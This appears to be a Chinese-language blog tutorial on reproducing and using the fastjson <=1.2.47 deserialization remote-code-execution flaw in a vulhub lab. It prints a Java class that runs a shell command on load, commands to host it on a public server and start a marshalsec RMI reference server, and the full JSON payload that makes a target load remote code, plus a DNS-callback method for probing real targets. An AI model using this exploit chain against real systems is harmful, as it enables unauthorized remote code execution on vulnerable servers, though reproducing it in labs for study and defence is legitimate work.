fastjson>=1.2.47反序列化漏洞复现及实际利用
2020-05-07 10:17
453 查看
一头雾水地复现了这个漏洞。。。。。
1.环境搭建
用的是vulhub的环境,里面有各种各样的漏洞环境,简单看看说明就知道怎么操作了。
vulhub下载地址:https://github.com/vulhub/vulhub
在虚拟机上搭建好后看具体的说明文件,是访问8090端口:
ok确认环境已搭建完毕!
2.编译恶意文件
vulhub里面的说明文件就给出了恶意文件的内容:
将这段代码复制出来到文本文件中,设置文件名为TouchFile.java,放在物理机中。
import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
然后在TouchFile.java文件目录下执行命令,编译此文件
javac TouchFile.java
编译完成后会生成一个后缀为class的文件,把class文件放在公网vps的根目录下
3.搭建简易的http服务
接下来用python来搭建一个http服务
- 如果你是python2,使用命令
python -m SimpleHTTPServer 8888
- 如果是python3,使用命令
python -m http.server 8888
4.用marshalsec开启RMI服务
RMI服务是啥?
远程方法调用(RMI)是一台机器上的程序调用另一台机器上的方法。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.64.1:8888/#TouchFile 9999
接下来就在请求包中添加payload,发送。
完成。。。。这里我没图。。。。
实际检测方法
payload里的关键流程是:
1、目标访问你payload里面写的rmi://域名:9999/TouchFile
2、然后目标根据你开的RMI服务找到对应的web目录
3、访问Web目录,执行命令
如果我们只是要验证是否存在漏洞,只需要看到目标成功访问我们的域名就能证明有漏洞了,所以并不需要开RMI服务。
直接在payload里填上自己的域名,不需加端口,当然随便写一个也行,然后后面一定要随便写个文件名。
请求头添加
Content-Type: application/json;charset=utf-8
paylod
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://自己的域名/TouchFile", "autoCommit":true } }
执行后查看dns记录,有了!即可证明漏洞存在。
相关文章推荐
- 菜鸡一枚(勿喷)复现Fastjson「=1.2.47反序列化漏洞
- Fastjson<=1.2.47反序列化漏洞复现
- 五分钟复现fastjson1.2.24反序列化漏洞
- fastjson1.2.47以下 RCE 漏洞复现
- 利用Fastjson进行泛型的序列化和反序列化
- 利用phar实行php反序列化命令执行漏洞复现
- fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
- Fastjson反序列化漏洞研究
- 利用fastjson反序列化json为对象和对象数组
- Fastjson <=1.2.62 远程代码执行-漏洞复现
- Fastjson反序列化漏洞分析
- Fastjson反序列化漏洞概述
- 利用fastjson序列化对象
- Fastjson反序列化漏洞研究
- 利用Vulnhub复现漏洞 - ElasticSearch 目录穿越漏洞(CVE-2015-3337)测试环境
- 利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)
- C# 利用Newtonsoft.Json进行Json序列化与反序列化
- [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
- Redis 序列化方式StringRedisSerializer、FastJsonRedisSerializer和KryoRedisSerializer
- com.alibaba.fastjson.JSON对类对象的序列化与反序列化